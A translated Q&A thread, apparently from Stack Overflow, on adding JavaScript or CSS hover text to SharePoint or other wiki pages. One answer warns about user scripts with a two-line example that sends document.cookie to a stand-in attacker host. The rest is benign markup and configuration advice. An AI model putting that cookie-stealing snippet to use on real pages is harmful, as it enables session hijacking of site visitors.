作为维基管理员,我如何将脚本(Javascript)输入Sharepoint维基页面?
我想输入一个标题,当点击它时,在它下面显示一个小的解释。我通常用javascript,其他任何想法做到这一点?
答案 0 :(得分:10)
如果维基作者是明智的,那么可能无法做到这一点。
用户贡献的JavaScript的问题在于它为所有形式的恶意者打开了大门,以便从毫无戒心的数据中获取数据。
我们假设邪恶的我在公共网站上发布了一个脚本:
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
现在我将收到页面上每个访问者的cookie信息,发布到我服务器上的日志中。这只是冰山一角。
答案 1 :(得分:4)
假设您是wiki的管理员,并且愿意在鼠标悬停而非点击时显示此内容,您根本不需要javascript - 您可以使用直接CSS。以下是样式和标记的示例:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
通过一些更复杂的样式,您的工具提示框可以看起来像您想要的那样好。
答案 2 :(得分:1)
这完全取决于您使用的特定Wiki软件。我看到工作的方式是在其他地方托管一个js文件,然后包含一个带有src属性的脚本标记。
如果他们不允许这样,他们可能会允许您设置为包含该脚本的页面的IFRAME。使用第二种技术,您将无法访问主机页面的DOM。
答案 3 :(得分:1)
我喜欢CSS答案。当你可以使用CSS而不是Javascript时,它会产生更简单的标记 另一件需要关注的是Codeplex上的SharePoint增强版Wiki社区工具包。您可以下载源代码并添加自己的功能。或者您可以将此建议作为论坛中的新功能。
答案 4 :(得分:0)
这听起来像是一种安全风险。 wiki管理员似乎可以安装脚本,请参阅wikipedia's user scripts。
答案 5 :(得分:0)
您应该无法为任何公共Wiki添加javascript代码。如果您自己托管,那么您需要请求特定的wiki系统,以便有人可以帮助您修改设置 - 如果可能的话,为该系统。
答案 6 :(得分:0)
如果您正在谈论在本网站上使用Javascript作为网页的一部分,则不能。或者任何其他公共维基 - 这是一个安全风险。
如果您正在谈论发布代码示例,请单击文本框上方的“101010”按钮。
答案 7 :(得分:0)
它当然取决于您正在与之交谈的维基引擎。最有可能的是,正如sblundy所说,允许在维基页面上免费使用javascript会带来安全风险。
答案 8 :(得分:0)
将title="text here"
添加到任何标记中,并在悬停在其上时显示文本
当您使用alt="text here"
属性时,Internet Explorer会显示文本,但这不符合标准。
我现在测试了,您可以将<h2 title="some explanation here">headline</h2>
添加到任何基于维基媒体的系统(维基百科使用的系统)。
答案 9 :(得分:0)
从功能区中,选择Insert
,然后选择Web Part
。从菜单中转到Media and Content
,然后选择Content Editor
。从新创建的Webpart的下拉菜单中,选择Edit Web Part
。在右侧的Webpart设置菜单中,展开Appearance
并将Chrome Type
设置为None
。在Web部件上单击Click Here to Add Content
,然后在功能区中找到Edit HTML Source
。您可以在此区域使用HTML,而无需对其进行清理。
注意:如果计划将行为添加到许多页面元素中,则可能需要将.js文件上传到样式库,并在内容编辑器中仅包含<script src="...">
标签。您可能还想研究使用自定义的母版或页面布局。
来源:https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages